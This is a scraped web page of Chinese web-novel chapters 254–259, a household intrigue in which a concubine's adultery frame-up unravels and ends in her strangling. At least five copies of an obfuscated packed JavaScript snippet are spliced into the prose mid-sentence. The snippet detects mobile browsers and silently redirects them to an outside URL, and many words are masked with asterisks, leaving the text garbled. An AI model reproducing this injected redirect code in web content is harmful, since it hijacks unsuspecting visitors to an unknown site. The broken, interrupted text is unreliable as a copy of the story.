“苒姐儿怎么也在?” 秋篱抢着把方才之事道来,末了一副请罪的姿态。 “是妾身自作主张,要把李大夫送去见官,还阻拦了他给紫鹃姨娘看诊,妾身逾矩,请老爷恕罪。” 第254章 奸夫** 陆贯轩听闻紫鹃动了胎气,脸上顿时现出几分焦急,但他对秋篱却无怪罪之意。 “那**发胆敢在你的药里动手脚,简直狗胆包天。你的做法没有任何问题,他人呢?” 秋篱朝陆知苒看了一眼。 陆知苒主动开口,“父亲,女儿方才让他去静安居给紫鹃姨娘诊脉去了。” 秋篱垂眉敛目,小声开口,“大小姐开口,妾身不敢阻拦。” 陆贯轩面上顿时露出几分怒意,“苒姐儿,你既知那**发有问题,为何还让他去给紫鹃诊脉?若紫鹃腹中胎儿有什么三长两短,你负得起责任吗?” 陆贯轩已经许久不曾对陆知苒如此疾言厉色了,被秋篱三言两语一番挑拨,他的怒气就压不住了。 陆知苒神色淡淡的,“父亲,李大夫在陆家十几年,兢兢业业,从未有过半点不妥。此次之事恐怕是个误会。” 秋篱立在一旁没有说话,但陆贯轩的心早已偏了。 “难道秋姨娘还会诬陷他不成?” 秋篱立马诚惶诚恐,“大小姐明鉴,妾身吃了李大夫开的药,的确迟迟不见好转,妾身不可能为了诬陷旁人就拿自己的身体问题开玩笑!老爷,还请您明查此事,不然妾身就要背负一个莫须有的罪名了。” 说话间,秋篱已然微微哽咽起来,那副梨花带雨的模样,叫陆贯轩的心瞬间软了。 陆知苒开口,“父亲,既然此事有争议,便趁此机会彻查清楚吧,若当真有魑魅魍魉敢在陆家作妖,趁此机会揪出来,也能好好震慑一番人心。” 秋篱闻言,那双好看的眸子中微微闪了闪。 这话让她生出一丝不安,但很快就安慰自己,定是自己想多了。 陆贯轩沉吟一番,“的确该好好查一查。来人,给我到那**发的屋子里搜一搜,定要每一处都搜查仔细了!” 若是什么都没搜出来也就罢了,他姑且还能揭过这一茬。 但凡搜出一点可疑之物,他定要追查到底。 他的后院,决不允许再有人兴风作浪。 搜查的人去得快,回来得也很快,神色间透着一丝古怪。 “老爷,小的在李大夫的房中搜到了几封书信,还请您过目。” 秋篱眼睫微垂,掩去眸底那丝亮光。 陆贯轩不明所以,伸手接过,待看罢信上的内容,他的脸色骤然大变,整个身子都有些站立不稳,手中的那封书信也没拿稳,落了地。 秋篱连忙伸手搀扶,“老爷,您怎么了?” 丫鬟捡起那封信,秋篱随意一瞟,待看清上面的内容,她的脸色也瞬间变了。 她失声惊呼,“紫鹃姨娘竟与李大夫有苟且之情,便是那孩子,也是他们的孽种?这,这怎么可能?” 她惊呼完,才意识到自己没有压低声音,急忙欲盖弥彰地掩住了嘴。 但她的声音不低,在场的众人都听到了。 陆知苒也适时露出一抹难以置信的神色。 陆贯轩的脸皮狠狠抖动,因为愤怒,脸色涨得通红。 任何一个人都不可能容忍这样的事情发生,更何况,他还那么期盼紫鹃肚子里的孩子。 那个孩子给了他希望,让他知道自己的身体没有问题,他还能与别的女人生出更多的孩子。 但没想到,那个孩子,竟然不是他的种! 他所有的期盼全都化为泡影,变成了一个巨大的巴掌,狠狠地甩在他的脸上,将他的尊严彻底击碎。 紫鹃那**,竟然背着自己,与**发私通! 他们在自己的眼皮子底下勾搭,日后,自己还要替他们养孩子! 只要一想到这个可能,陆贯轩便觉一阵气血翻涌,几欲晕厥过去。 难怪方才秋篱要把**发送去见官,紫鹃那**立马派人来阻拦,却原来他们早就有了一腿! “去,给我把那对奸夫**带过来!” 秋篱在一旁给他轻拍后背,柔声安抚,“老爷,您消消气,此事或许有什么误会,他们怎敢如此胆大包天?” 陆贯轩阴沉着脸。 “误会?那这封信是怎么一回事?” 秋篱继续劝解,“一封信而已,万一是旁人构陷的呢?妾身听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15311081|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋姨娘自小在夫人跟前伺候,她的为人品性自是值得信任的,断然做不出这等与人私通之事。” 这话不说还好,一说简直就是火上浇油。 紫鹃是怎么成为自己姨娘的?可不就是背地里主动勾引自己吗? 她能勾引自己,就能勾引旁人! 她背叛了方氏,其人品也实在堪忧! 陆贯轩被她怀孕之事冲昏了头脑,完全没有想到这一点,现在被点醒,他心中对紫鹃的怀疑便疯狂滋长,再也压不住了。 也只有秋篱刚进府,还不了解此间内情,才会无意中说出这话,点醒了他。 紫鹃和**发被带了来。 紫鹃的肚子已经显怀,是被人抬着来的。 此事结果如何尚未有定论,下人也不敢对她太过粗蛮。 “老爷,不知您请妾身前来所为何事?” 陆贯轩见到他们二人,怒气更加汹涌。 他怒喝一声,“所为何事你们心里不清楚吗?你们这对奸夫**,还不给我跪下!” 紫鹃满脸错愕,**发更是惊得脸色大变,他诚惶诚恐地跪下,连声喊冤。 “老爷,您这话从何说起?小的与紫鹃姨娘清清白白,绝无半点私情啊!” “那这是怎么一回事?这是从你的房中搜出来的!” 陆贯轩愤怒地将那几封书信甩到他脸上,**发赶紧去捡,看了一眼,他的脸色涨得通红,语气急切地辩解。 “老爷,小的冤枉,这并非小的与紫鹃姨娘来往的书信,而是……” 陆贯轩怒声打断他,“上面写得清清楚楚,你还想抵赖?你们这对狗男女,在我的眼皮子底下苟且,还想让我给你们养孩子,真是欺人太甚!” 紫鹃没看到那些信,但也已经猜到信中内容,她的脸色顿时变得一片煞白。 她护着自己的肚子,跪了下来,“老爷明查,妾身是冤枉的,这些所谓的书信与妾身无关,妾身根本不知道是怎么一回事。妾身敢指天发誓,腹中的孩子就是老爷的!妾身便是有十个胆子,也不敢拿子嗣问题糊弄您啊。” 第255章 公说公有理 紫鹃已经上了年纪,加上身怀有孕,身体有些吃不消,最近她的面容变得更加憔悴。 以往尚且算得上风韵十足的半老徐娘,现在,整个人都透着老态,她跪在地上哭泣,非但没有引起陆贯轩的怜惜,反而让他生出几分嫌恶。 这么一个又老又丑的女人,还嫁过人,自己当初怎么就瞧上了她? 而今想想,他只觉得心中膈应。 “当初,你背着方氏勾搭我,可见你骨子里就是个不安分的,这孩子,谁知道究竟是谁的?” 陆贯轩的语气冰冷,似一把刀子,狠狠地扎进了紫鹃的心口,叫她心头一阵发凉。 陆知苒听了这话,心头泛起一抹深深的嘲讽。 她这个父亲便是如此凉薄,自私,若把人生和希望寄托在他的身上,那注定要落得个失望透顶的下场。 她的母亲,便是一个活生生的例子。 她看着紫鹃眼底那破碎的情绪,主动开了口。 “父亲,仅仅凭借几封书信就下定论,这未免太过草率了。若是冤枉了紫鹃姨娘,您也要失去这好不容易得来的孩子。” 陆贯轩闻言,满腔的愤怒终于稍稍冷静几分。 只是证据摆在眼前,心中怀疑的种子也已经种下,他断然没法再对紫鹃信任如初。 陆知苒提议,“不若去请一位笔迹鉴定大家,亲自来鉴定一番这些书信,真的假不了,假的也真不了。” 紫鹃感激地看了陆知苒一眼。 “妾身行事光明磊落,绝对没有半分对不起老爷的地方,妾身禁得起查!” 陆贯轩神色依旧冰冷,但到底没有反对。 他认识一位出名的笔迹鉴定大家,当即就派人去请了。 秋篱眼眸微微闪了闪,面上倒是看不出什么来。 正这时,方才前去搜查李大夫屋子的下人又有了新发现。 “老爷,小的在李大夫的房中搜到了好些女人的东西,上面都绣了‘鹃’字,似是紫鹃姨娘的东西……” 陆贯轩一样样地翻看那些东西。 有荷包,香囊,甚至还有女人穿的小衣。 那上面,的确绣着‘鹃’字。 甚至,那件鸳鸯戏水的小衣他都见过,彼时紫鹃穿在身上,映着她那莹白的肌肤,分外勾人。 而今,却在**发的房间里搜了出来! 陆贯轩方才才说服自己相信对方,现在,如山铁证便摆在面前,他额上青筋突突直跳,一股巨大的怒火将他淹没。 “**!你还有什么可辩驳的?” 紫鹃的脸涨得通红,胸口一阵阵上下起伏,“老爷,妾身也不知道是怎么一回事,定是有人偷了妾身的私物,蓄意构陷,老爷您千万不要中了旁人的圈套啊!” **发也急得满头大汗,“老爷,小的从未见过这些东西,定是旁人栽赃嫁祸!” 陆贯轩再听他们的话,只觉得是狡辩。 就在这时,一旁有一个婆子直接跪了下去。 “老爷,奴婢斗胆,有话要说,是关于紫鹃姨娘的。” 陆贯轩冷声呵斥,“说!” “奴婢是陆家的老人,紫鹃姨娘或许不认识奴婢,但奴婢对紫鹃姨娘可是熟悉得很。奴婢与紫鹃姨娘前头的婆婆陈婆子是旧交,陈婆子说,紫鹃姨娘嫁给她儿子之后,就一直不安分!” “她是夫人身边的得力人,有不少侍卫向她献殷勤,她都来者不拒,跟好几个人都不清不楚的。有一次还被陈婆子的儿子撞破了,但紫鹃姨娘有夫人撑腰,陈婆子的儿子敢怒不敢言,只能忍了这口王八气,但也因此,把自己气病了,人就这么没了。” “紫鹃姨娘为免事情败露,找了由头把陈婆子一家子都打发了。这些事奴婢也无凭无证,原本只打算一直烂在肚子里,但今日,紫鹃姨娘竟又做了这等不要脸的事,奴婢便是拼着这差事不要了,也不能再装聋作哑!” 那婆子说得信誓旦旦,在场众人听得目瞪口呆。 陆贯轩气得头顶冒烟,紫鹃则是气得脸色涨红。 “你简直信口雌黄!老爷,这婆子空口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15317102|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白牙就想污蔑人,她无非就是认准了妾身的前夫一家都离开了京城,没人替妾身作证罢了。” 那婆子指天发誓,“奴婢敢对天发誓,方才所言句句属实,若有一个字作假,就叫我天打五雷轰,不得好死!” 紫鹃语气激动,“发誓谁不会?我也能发誓,我绝没有做过半点对不起老爷的事,不然就叫我一尸两命,死**阴曹地府,永世不得超生!” 陆贯轩沉着脸怒喝,“好了,都给我住嘴!” 秋篱站在陆贯轩身后,不停给他拍背顺气。 “老爷,您快消消气吧,气坏了身子就不好了。” 陆贯轩没有说话。 发生这样的事情,叫他如何不生气? 秋篱状似随意地道:“老爷若实在心有疑虑,不若请夫人前来,让夫人决断一番。这婆子有可能会说假话,夫人总不可能说假话吧?” 紫鹃闻言,脸色骤变。 她背叛了方氏,方氏岂会放过自己?她定会趁此机会除掉自己和腹中的孩子! 陆贯轩蹙了蹙眉,他对方氏也不信任,但秋篱的话也让他有些犹豫。 先前他是不是被紫鹃蒙蔽了?不若先听听看方氏会如何说? 正准备答应,陆知苒开了口。 “父亲,母亲从家庙回来之后身子一直不大好,这段时日一直闭门修养,我们就不要为此去打扰她了吧。更何况,女儿说句小人之心的话,母亲与紫鹃姨娘有龃龉,她的话,只怕也会有所偏颇,不可尽信。” 陆知苒的这话一下让陆贯轩清醒了过来。 方氏为何会去家庙?就是因为她蓄意谋害自己的子嗣。 若让她来作证,她岂会公平公正地说出实情? 即便陆贯轩已经认定了紫鹃不贞,陆知苒的话也提醒了他,方氏才是害他子嗣不丰的罪魁祸首。 无论如何,都不能让她出来,更不能让她来看自己的笑话。 “苒姐儿所言极是。” 秋篱禁不住看了陆知苒一眼,眸底闪过一抹恼怒。 第256章 怀了身孕 “妾身初来乍到,对府中之事多有不解之处,这才说错了话,还请老爷见谅。” 陆贯轩对她并无责怪之意,但他此时心情不好,也没了宽慰之心。 陆知苒似笑非笑地道:“秋姨娘既知自己初来乍到,那便少说多看,如此自然出不了错。” 秋篱低眉敛目,“大小姐说得是。” 紫鹃提着的心终于放了下去。 她可真怕方氏会被放出来,更怕陆贯轩听信方氏的话。 好在,大小姐是站在自己这边的。 陆知苒看向方才主动揭发紫鹃的婆子,淡声开口,“父亲,此事关涉到陆家的子嗣,万不可听信任何一人的一面之词。这婆子的话是否可信,还有待查证。” “女儿提议,不若先派人查一查此人,看看她最近有无异常之处。另外,紫鹃姨娘的静安居上上下下也要好生排查一番,看看有没有哪个吃里扒外的东西,偷了紫鹃姨娘的私物,借机陷害。” “女儿并非偏帮紫鹃姨娘,而是为了陆家的血脉。若紫鹃姨娘怀的的确是您的孩子,却被有心人设局,蒙受了此等不白之冤,害您失去了好容易得来的孩子,岂不是令亲者痛,仇者快?” 陆知苒的一番话,让陆贯轩的怒火稍稍平息,整个人也冷静了下来。 陆贯轩下令,“你说得对。给我严查!若查出谁胆敢在背后算计,我定不轻饶!” 秋篱的手心下意识攥紧,心中莫名升起一丝不安。 “父亲,事情尚未查清之前,还是先让紫鹃姨娘坐下来好好休息吧。” 陆贯轩没有说话,陆知苒便当他同意了,亲自上前,将紫鹃扶了起来。 紫鹃跪了那么许久,双腿已然有些发麻。 她感激地看着陆知苒,陆知苒回以她一记宽慰的笑。 这时,**发开了口,“老爷,小的有话要说。” 陆贯轩转眸看向他,眼神中带着一丝淡淡冷意。 “小的与紫鹃姨娘之间清清白白,这件事就是有心人刻意陷害!那些搜出来的衣物,小的不知道是怎么一回事,但是那些书信,小的却知道是谁人写的!” 他目光一转,直接落在了秋篱的身上。 “那些书信,是小的从秋姨娘的院中捡到的!老爷,这分明是秋姨娘与情郎私通的罪证啊,小的一直藏着,没有拿出来,便是担心自己误会了秋姨娘。” “这几日小的一直暗中查证,这才证实了这一点,谁料,小的还尚未来得及向老爷禀报,这东西就被搜出来了,小的还被扣上了与紫鹃姨娘私通的罪名,小的实在是冤枉啊!” 众人听了这番话,皆是面露愕然。 秋篱更是瞪大了眼睛,满脸被冤枉了的震惊和不可思议。 “李大夫,你,你这简直是一派胡言,这些书信怎么可能是我的?” 陆贯轩也觉得**发这番话实在荒谬,大有胡乱攀咬之嫌。 “**发,你可知道自己在胡说些什么?” **发语气激动,“老爷,小的没有胡说,这些书信的确是从秋姨娘的房中捡到的。彼时秋姨娘身子不适,小的前来为其诊治,捡到了此物,小人以为是不小心遗落的药方,回去之后才发现竟是一封写给奸夫的书信!” “秋姨娘定是后来发现那书信遗落,怀疑是小人捡了去,这才设了今日之局,来了个贼喊捉贼,想要一箭双雕,除掉小人,也除掉紫鹃姨娘!” 秋篱的眼中闪过一抹慌乱,她有种事情超出掌控的惶恐。 “胡说八道!我,我,这,这怎么可能是我写的?这分明是紫鹃姨娘写给你的!” **发反驳,“这上面并未出现我们二人的名字。” 秋篱飞快回忆着方才的那封书信。 上面有出现他们的名字吗?好像的确没有。 陆贯轩沉着脸,“信上的确没有出现你们的名字,可上面提到写信之人是我的姨娘,腹中还怀了孩子,奸夫也是个大夫。整个陆府上下,除了你和紫鹃,还有谁满足这些条件?” 正是看到这些指向性十分明显的信息,陆贯轩才立马认定这是紫鹃与**发私通的罪证。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15317103|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋篱的眼神飞快闪过一抹慌乱,她下意识地抚上了自己的小腹。 **发指向她,“老爷,您现在还不知道吗?秋姨娘已然怀有身孕了。” 所有人都看向秋篱。 陆贯轩也猛地看向她,眼底闪过一抹难以置信,隐隐还带着一丝希冀。 她也怀了身孕?她那么快就怀了自己的孩子? 此时的陆贯轩,已然自动忽略了**发对秋篱的指控,下意识觉得那孩子是自己的。 但紧接着,**发就道:“据小人推断,她的身孕,多半是在入府之前就已经怀上了!” 秋篱心中那丝侥幸被瞬间击碎。 她眼底的慌乱几乎难以遮掩。 她也是进府之后,才发现自己怀了身孕。 为了遮掩此事,他们才设了此局,既能除掉紫鹃和她腹中孩子,也能换掉**发,安排陈宏入府。 陈宏是自己人,会帮忙谎报怀孕的月份,她就能顺理成章地把孩子安在陆贯轩的头上,还能借着这个孩子,进一步稳固自己在陆家的地位。 此事本该十分顺利,但秋篱万万没想到,自己有孕之事竟然不知何时被**发识破了,他甚至连月份都看了出来! 自己那么小心,根本没有露出任何破绽,对方怎会发现? 前几日她故作身体不适,诊脉时并未露面,是隔着纱帐的,其实**发诊的是香草的脉。 他压根没有诊过自己的脉,如何会知道自己怀了身孕? 秋篱没有来得及理清这其中的玄机,此时的她已经被彻底打乱了方寸。 她本以为今日之局是水到渠来,请君入瓮,却没曾想,到头来竟是螳螂捕蝉黄雀在后! 陆贯轩心头刚刚冒出来的期待与欢喜瞬间熄灭,转而变成了天崩地裂的震惊。 秋篱急切地否认,“简直血口喷人!我,我的身子清清白白,岂容你如此污蔑?” **发语气笃定,“究竟是不是血口喷人,只需要请大夫来替你诊一诊脉便知道了。但是万不能请那姓陈的,他就是你的奸夫!” 第257章 戴了一顶硕大的绿帽子 秋篱心头梗了一口老血。 陈宏,他怎么配? 但就在几日前,她还在陆贯轩的面前极力夸赞陈宏医术了得,若能聘入府中当府医,定是一大良才云云。 当日的夸赞,不过是她为了后续计划所做的铺垫。 而今,却瞬间催化了陆贯轩心中那颗怀疑的种子,也让她生出百口莫辩之感。 “老爷,妾身是冤枉的,妾身与那陈大夫是清清白白的啊!” 陆贯轩目光紧紧地盯在她的身上,“你当真怀了身孕?” 秋篱后背发凉,再不复先前的镇定,“妾身的月事素来不准,妾,妾身亦不知自己究竟是否有孕。但妾身绝没有做半点对不起老爷的事,请您一定要相信妾身!” 她哀哀切切地看着陆贯轩,眸底盈满水汽,一副我见犹怜的模样。 以往陆贯轩很吃她这一套,但现在,陆贯轩心底却不由得冒出怀疑。 他直接吩咐,“去请大夫。” 听了这话,秋篱的脸色变得更加苍白,眼底也明显露出慌乱。 她的肚子禁不起查啊! 她含泪看着陆贯轩,“老爷,您是不信任妾身吗?” 陆贯轩没说话,陆知苒“好心”地开口,“秋姨娘,你别多想,父亲对你那般宠爱,自是信任你的。父亲让人去请大夫,也是为了你好。说不定你当真怀了父亲的子嗣呢,稳妥起见,自是让大夫诊治一番更好。” “更何况,紫鹃姨娘和李大夫的事也还没掰扯清楚,事情既然牵扯到了秋姨娘的身上,也只能劳烦你配合一二。” 这话把秋篱堵了回来,再找不到拒绝的理由。 方才紫鹃动了胎气,陶然居的人抓了**发不放,翠玉担心自家姨娘出事,便派人去外头请大夫。 这会儿,大夫刚好请来了,还不止一个。 秋篱连思索和应对的时间都没有,就被按着搭上了脉。 不过几息的功夫,几位大夫就轮流给秋篱诊了脉。 “恭喜老爷,这位姨娘已然怀了一个多月的身孕。” “只是胎相有些不大稳,近些时日,还需好生休养,莫要行房。” 秋篱入府之后,陆贯轩几乎日日歇在她这里,她的胎相自然不稳。 大夫说完话,就发现这位老爷脸上非但没有半点喜色,反而青筋突起,似有暴怒之势。 陆知苒让人给几位大夫送上赏银,又客气地送走了。 没了外人,陆贯轩的怒火这才彻底爆发。 他扬手就狠狠给了秋篱一记耳光,“**!” 秋篱被打得脸上立马高高肿起,嘴角瞬间渗出血来,半边耳朵更是嗡嗡地响。 “老爷,妾身冤枉,妾身入府前,身子清清白白,怎会有一个多月的身孕?定是那几位大夫被人收买了,故意嫁祸妾身!” 她半边脸都肿了,此时说话舌头含糊不清,再没了往日声若黄鹂的悦耳动听,陆贯轩此时听来,只觉得厌恶至极。 陆知苒幽幽道:“秋姨娘若当真觉得自己冤枉,我便舍下脸面,入宫去请太医吧。想来,太医的诊断定然不会有错的。” 秋篱闻言,脸色僵住,说不出话来。 陆贯轩见她哑口无言的模样,哪里还有什么不明白的?这**就是在狡辩! **发跟着道:“老爷,小的之所以能发现秋姨娘怀了身孕,是因为她最近一直在偷偷服用安胎药,她还把药渣埋在了后院的那棵梨花树下,老爷大可派人去挖。” 秋篱闻言瞪大了双眼。 原来自己竟是这么暴露的! 她迁怒地剜向香草,这个蠢货,连这么点小事都办不好!当真该死! 下人很快从那梨花树下挖出了药渣,**发一口咬定,“没错,这就是安胎药。老爷若是不信,大可拿去给旁人检查。” 陆贯轩看着秋篱那副面如死灰的模样,怒火一阵翻涌。 她若怀的是自己的孩子,何须如此偷偷摸摸地吃安胎药? 只能说明,这孩子是野种! 陆贯轩此时的怒气,比方才更甚。 他为了这**一掷千金,自她入府之后,更是对她百般温柔,千般呵护。 谁曾想,她竟是个包藏祸心的蛇蝎美人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15329975|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还给自己戴了硕大的一顶绿帽子。 陆贯轩身为男人的尊严在此刻被踩得稀碎。 紫鹃双眸喷火地怒视对方,“你个**,何其歹毒!明明自己怀了野种,要混淆老爷的血脉,偏要扣到我的头上来!差一点,老爷就听信了你的谗言!若老爷的孩子当真有个三长两短,我便是死也不会放过你!” 这话让陆贯轩的怒火再度飙升。 是啊,这**,不仅给自己戴绿帽子,还险些害得他亲手杀了自己未出生的孩子! 那可是自己时隔这么久终于有了的孩子! 就因为这**挑拨,他方才甚至已然生出了杀心。 紫鹃哭诉,“老爷,您可一定要替妾身做主啊!” 陆贯轩重新对紫鹃露出了和缓的神色,“方才是我误会了你,你且放心,我定会为你和孩子讨回应有的公道!” 紫鹃露出感动之色,秋篱则是彻底慌了。 铁证如山,她根本没法子辩解,就只能再次攀扯到紫鹃的身上。 “老爷,您不能被那女人蒙蔽了,那些书信分明就是她写给李大夫的,他们早就有**了!他们不过是借着妾身来转移注意力,好继续蒙蔽您,您若是当真信了,就真的要替他们养孩子了!” 紫鹃满脸不忿,“老爷,妾身行的端坐的正,愿意经受检验!” 恰在这时,陆贯轩派去请的那位笔迹鉴定的苏大家终于到了,紫鹃自请进行笔迹鉴定。 陆贯轩缓声道:“只是走个过场,我相信你的清白。” 紫鹃垂下眼睑,掩去了眸底的嘲讽。 她若还信这男人的话,那才是真正的蠢到家了。 紫鹃没有正经读过书,只是跟在方氏身边时,跟着也一起认了字。 苏大家拿着那几封书信,和紫鹃闲暇时写的字好生比对了一番,最后摇头,给出了否定的结论。 “这份东西,出自不同人之手。” 紫鹃立马挺直腰杆,露出扬眉吐气之色。 “秋姨娘,我的笔迹鉴定已然做了,不知你敢不敢让苏大家给你也鉴定一番?” 第258章 供出主谋 秋篱自然知道自己没有写过这些东西,但是,此时的她心中却生出一股强烈不安。 谁知道她们在那书信上动了些什么手脚? 此事却是容不得她不愿意。 陆贯轩一声令下,下人立马取来了秋篱抄写的诗集。 这本诗集,还是他与秋篱一道写的。 彼时二人卿卿我我,你侬我侬,好不甜蜜。 而今再看,简直恨不得撕了。 也是这时,陆贯轩才注意到那些书信上的笔迹,的确与这诗集的笔迹十分相似。 苏大家一番比对,捋着胡须点了点头。 “凭老夫几十年的经验,这些乃出自同一人之手。” 陆贯轩的拳头瞬间握得咯咯作响。 秋篱则是不可置信地摇头,“不可能!我没有写过这些东西,定是你看错了!” 苏大家顿时吹胡子瞪眼,“老夫出师十几年,绝不可能看走眼!你们若信不过老夫,大可另请高明!” 陆知苒语气和缓,主动开口打圆场。 “我们自是信得过苏大家,今日劳您走一趟,辛苦了,此事还请您帮忙保密。” 又是一番打点,客客气气地送走了苏大家。 秋篱还要辩驳,陆贯轩忍无可忍,“你个**,给我闭嘴!这两份笔迹,不用苏大家来鉴定,我自己都能看出是出自你之手,你还想狡辩,简直是不到黄河心不死!来人,给我把这不守妇道的**拖出去,当场杖毙!” 秋篱闻言,整个人瞬间瘫软了下去。 “老,老爷,妾身是冤枉的啊,求求您,看在妾身伺候您一场的份儿上,饶过妾身吧!” 陆贯轩不为所动,“立刻行刑,当场打死!” 紫鹃看着,觉得颇为大快人心。 但陆知苒却是开了口,“父亲且慢。” 所有人都看向她。 “父亲,秋姨娘固然可恨,但女儿觉得,凭借她一己之力,只怕做不成这些事。您此前一叶障目,或许没有多想,但现在您不妨好好想一想,这其中难道没有蹊跷?” 陆贯轩被点醒,露出若有所思之色。 秋篱的眼神微微闪了闪。 陆知苒看向她,语气幽幽,“秋姨娘姿色绝俗,乃世间少有,而且她出现得也十分蹊跷,就像是凭空冒出来,专门等着您的。她入府时只带了一个丫鬟,但这整个计划,却绝非仅靠一个丫鬟就能办成,她定然还有其他帮手。” “您打**她容易,但若查不出她背后之人,只怕日后陆家的后宅还有数不尽的风波,紫鹃姨娘也没法安心养胎。” 紫鹃浑身一个激灵,下意识护住了自己的肚子。 这孩子是她的命,她决不允许任何人伤害他。 陆贯轩死死盯着秋篱,眼神几乎淬了毒。 “说!究竟是什么人安排你进的陆府?” 秋篱低下头,眼神闪烁,“老爷,妾身不知道您在说些什么。” 陆贯轩上前,一把掐住了对方的脖颈,“我再问你一遍,你背后之人是谁!” “妾,妾身冤枉,妾身真的,是,无辜的……” 陆贯轩心中怒火燃烧,手上的力气也越来越大,秋篱被掐得面色发紫,几乎窒息。 求生的本能终于让她开了口。 “是,是夫人,是夫人……” 陆贯轩听到这话,心头怒意瞬间汹涌,手上的力道非但没有收,反而狠狠加重了,似把眼前之人当成了方氏。 秋篱脸色涨红,拼命挣扎,最后手脚慢慢无力地垂了下去。 陆贯轩从暴怒中回过神来,一松手,她便似一片破布,瘫软在地。 紫鹃扶着肚子,连连后退了两步,心中升起一股后怕。 若对方的计谋成功了,秋篱的下场,只怕就是自己的结局。 陆贯轩也反应过来自己亲手掐**秋篱,看着她尸体的眼神意味不明。 众人噤若寒蝉,无人敢开口。 紫鹃心中一阵后怕。 夫人心思歹毒,老爷也同样薄情寡恩。 这位秋姨娘入府之时何等受宠,现在也被老爷亲手掐**。 在这个侯府,她无人可以依靠。 与陆知苒之间,也只是利益上的往来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15329976|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>秋篱既然已经供出了方氏,那她就要抓住机会,把方氏置于死地! 若不然,下次不知等待自己的究竟又会是什么样的阴谋和算计。 这时,陆知苒派出去的人回来了。 方才指认紫鹃行为不检点的婆子,家中最近收到了一笔来路不明的巨款,买了一处两进的大宅子。 她是被收买,才会站出来说那些话。 而紫鹃身边的一个丫鬟手脚不干净,在她的房中搜出了不少脏物。 紫鹃的贴身衣物便是她偷出来的。 真相如何,已是板上钉钉,至此,紫鹃身上的污名被彻底洗清。 她重新跪了下去,眸中蓄满了泪。 “老爷,您方才也听到了,秋姨娘是夫人一手安排进的府。是妾身背叛了夫人,妾身罪该万死,夫人想除掉妾身,妾身无话可说。” “但是,妾身腹中还有老爷您的孩子啊,夫人先前已然害您子嗣不丰,现在还要加害臣妾腹中孩子,她好狠毒的心啊!妾身在府中无所依靠,请老爷庇护一二,不然,妾身只怕护不住这孩子啊。” 陆贯轩急忙俯身将她扶了起来,双手牢牢地扶住她的双肩。 “你放心,我定不会让任何人伤害你和孩子!” 好个方氏,她一而再,再而三地触碰自己的底线,简直该死! 陆贯轩命人把紫鹃好生护送回去,顾不上其他人,抬步就往方氏的知春苑而去。 当初,他之所以答应把方氏放回来,可是有条件的。 这女人非但不知反省,反而变本加厉,那她也不能留了。 紫鹃被下人抬上轿撵,临走时,她朝陆知苒的方向看了一眼。 今日之局,她事先就知晓了大概,陆知苒事先与她通了气,**发那头亦是如此。 但饶是如此,方才紫鹃依旧心惊胆战,唯恐哪个环节出了问题,会让自己陷入真正万劫不复的境地。 好在,陆知苒算无遗策,处处都安排好了。 这一次,方氏定然没了活路! 只要方氏一死,自己就真正高枕无忧了。 第259章 洋芋大获丰收 紫鹃派人留意着知春苑那头的动向,希望能听到方氏暴毙的喜讯,但没想到,先传来的却是方成才风光归京的噩耗。 “二舅姥爷刚到京城,不仅人来了,还带来了重礼,足有好几大箱子。老爷还没来得及去向夫人兴师问罪,就先见了二舅姥爷,这会儿还在前厅待客……” 紫鹃猛地从床上坐了起来,激动之下,小腹一阵胀痛。 她的脸色很难看。 